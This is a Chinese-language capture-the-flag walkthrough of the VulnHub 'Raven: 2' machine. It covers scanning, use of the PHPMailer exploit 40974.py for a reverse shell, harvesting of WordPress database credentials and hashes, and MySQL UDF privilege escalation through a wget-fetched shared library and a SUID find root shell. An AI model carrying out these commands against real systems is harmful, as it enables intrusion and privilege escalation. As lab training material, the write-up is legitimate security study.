Raven: 2
来自 <Raven: 2 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.189
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.189
HTTP服务(80/tcp)
- 版本信息:
Apache 2.4.10 (Debian)
该版本存在多个漏洞(如CVE-2017-7679、CVE-2021-40438),可能导致请求走私或拒绝服务。 - 暴露信息:
- 服务器头明确显示版本(Apache/2.4.10 (Debian)),便于攻击者针对性利用。
- 页面标题为“Raven Security”,可能为自定义Web应用,需检查是否存在SQL注入、XSS、文件上传等漏洞。
- 建议:
- 升级Apache至最新稳定版(2.4.58+)。
- 隐藏服务器版本信息:
ServerTokens Prod
ServerSignature Off - 部署WAF(如ModSecurity)并定期扫描Web漏洞(使用工具如Nessus、Burp Suite)。
- 检查Raven Security应用代码,修复潜在漏洞。
RPC服务(111/tcp, 46435/tcp)
- 服务详情:
- rpcbind 2-4:用于远程过程调用(RPC),管理NFS等服务的端口映射。
- 开放端口包括111/tcp、46435/tcp及相关UDP端口,暴露了status服务(RPC #100024)。
- 风险:
- 已知漏洞如CVE-2017-8779(缓冲区溢出导致RCE)。
- RPC服务可能被用于DDoS反射攻击或信息泄露。
- 建议:
- 禁用不必要的RPC服务:
systemctl stop rpcbind
systemctl disable rpcbind
- 若必须使用NFS,限制访问IP并升级至最新版本。
- 配置防火墙(如iptables)阻止外部访问RPC端口。
- 禁用不必要的RPC服务:
4,依然访问80端口服务
和raven是一样的,卡顿的原因是因为没有做域名解析,手动修改/etc/hosts配置一下
vim /etc/hosts
192.168.23.189 raven.local
5,枚举扫描网站的子目录
dirsearch -u http://raven.local -x 404,403,500
观察目录看见网站依然是wordpress搭建的。分别查看内容,在http://raven.local/vendor/PATH得到flag1
而在http://raven.local/vendor/README.md网页,这些内容对网站构成了信息泄露
http://raven.local/vendor/VERSION 可以知道PHPMailer版本为5.2.1
然后再看看/wordpress
再whatweb做指纹识别扫描
6,检索漏洞,查看PHPmailer的公开exp
searchsploit PHPmailer
使用40974.py
searchsploit -m 40974.py
7,然后修改编辑exp,使之能够使用
开头加上:
#!/usr/bin/python
# -*- coding: utf-8 -*-
然后修改三处target,payload,fields
但是直接运行会存在问题
× 此Python环境受外部管理
╰─> 若需在系统全局安装Python包,请尝试使用apt安装
python3-xyz,其中xyz是你要安装的包名。
如果你想安装非Kali官方仓库提供的Python包,
请使用python3 -m venv path/to/venv创建一个虚拟环境。
然后使用path/to/venv/bin/python和path/to/venv/bin/pip。
确保已安装pypy3-venv。
如果你想安装非Kali官方仓库提供的Python应用程序,
最简单的方法是使用pipx install xyz,它会为你管理虚拟环境。
确保已安装pipx。
更多信息请参考:
* Installing Python Applications via pipx | Kali Linux Documentation
* /usr/share/doc/python3.12/README.venv
注意:如果你认为这是一个错误,请联系Python或系统发行版的支持人员。
你可以通过添加`--break-system-packages`参数强制安装,但这可能破坏Python环境或系统。
解决方案:
export https_proxy="http://192.168.99.74:50302"
# 安装虚拟环境工具(如果未安装)
sudo apt install python3-venv
# 创建并激活虚拟环境
python3 -m venv myenv # 创建名为myenv的虚拟环境
source myenv/bin/activate # 激活虚拟环境
# 在虚拟环境中安装requests_toolbelt
pip3 install requests_toolbelt
pip3 install lxml
#虚拟环境中启动攻击脚本
# 使用后退出虚拟环境
deactivate
与此同时kali需要nc监听4444端口,访问后门文件就会触发反弹shell
http://raven.local/icepeak.php
成功getshell
8,python启动可交互shell在该用户下查找flag
python -c 'import pty;pty.spawn("/bin/bash")'
find / -name flag*
cat /var/www/flag2.txt
查看/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png得到flag3。访问:
http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png
9,接下来是一样的套路,查看数据库配置文件以得到数据库登录密码
得到账户/密码:root/R@v3nSecurity
10,靶机本地登录数据库
mysql -u root -p
查看数据库 show databases;
使用数据库 use wordpress;
查看数据表 show tables;
从数据表从查询用户名密码 select * from wp_users;
michael|$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven|$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.
MySQL UDF提权的场景
UDF(User-Defined Function,用户自定义函数)提权是一种通过MySQL功能执行系统命令的攻击方式,常见于以下场景:
- 已获取MySQL数据库权限:
- 攻击者通过SQL注入、弱口令、数据库配置泄露等方式获取MySQL账户权限(如SELECT、FILE权限)。
- 需要系统级权限提升:
- 数据库用户权限较低(如普通用户),但通过UDF可调用系统命令(如执行/bin/bash)。
- 目标系统未严格限制文件写入:
- MySQL服务账户(如mysql用户)具备写入系统敏感目录(如插件目录/usr/lib/mysql/plugin/)的权限。
UDF提权的必要条件
1. MySQL权限要求
- FILE权限:允许读写服务器文件(通过SELECT ... INTO OUTFILE或LOAD_FILE)。
- CREATE FUNCTION权限:允许创建自定义函数。
- INSERT/UPDATE权限:可能需操作mysql.func表注册函数。
2. 系统环境要求
- 插件目录可写:
MySQL的插件目录(如/usr/lib/mysql/plugin/)对MySQL进程可写,且路径可通过以下命令查询:
SHOW VARIABLES LIKE 'plugin_dir'; - secure_file_priv配置宽松:
若该参数设置为空或指定可写目录,允许导出文件:
SHOW VARIABLES LIKE 'secure_file_priv'; - UDF动态库兼容性:
- 动态库文件(.so或.dll)需与操作系统及MySQL版本匹配(如Linux用.so,Windows用.dll)。
- 示例库:lib_mysqludf_sys.so(用于执行系统命令)。
3. MySQL服务权限
- MySQL运行账户权限:
MySQL服务进程(如mysqld)需以高权限账户运行(如root或具备sudo权限的账户),否则提权后只能获取低权限Shell。
11,但是知道账户密码没有用,需要数据库提权。判断之后分析无法使用UDF提权:
禁止使用root用户远程登录
show global variables like 'secure%';
用于查询 MySQL 全局变量中所有以 secure 开头的配置参数,主要用于检查与安全相关的关键设置。
核心目标是确认 secure_file_priv 的值,该参数直接控制 MySQL 的文件导入/导出权限,是防御文件写入攻击(如SQL注入导出WebShell、UDF提权)的关键配置。
SHOW VARIABLES LIKE '%plugin%';
用于查询 MySQL 中所有名称包含 plugin 的系统变量,核心目标是获取与插件(Plugin)相关的配置信息,尤其是插件目录路径、加载状态及认证插件类型。这些信息在安全审计和漏洞利用(如UDF提权、认证绕过)中至关重要。
12,这些信息说明MSF提权是不可行的。尝试版本漏洞提权,首先我们要知道数据库的版本
select version();
检索漏洞信息,使用1518.c
searchsploit mysql UDF
searchsploit -m 1518.c
13,阅读exp,使用方法如下
然后进行编译
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
-g //生成调试信息
-c //编译(二进制)
-shared //创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-o //指定输出文件的名称
-lc //这个选项告诉链接器链接C标准库。这是生成大多数C程序所必需的。
攻击机使用python的http模块开启服务
python -m http.server
靶机进入tmp下载exp
wget http://192.168.23.182:8000/1518.so
然后登录数据库,创建自定义函数
mysql -u root -p R@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
quit
touch foo
find foo touch -exec "/bin/sh" \;
成功提权成为root,得到flag4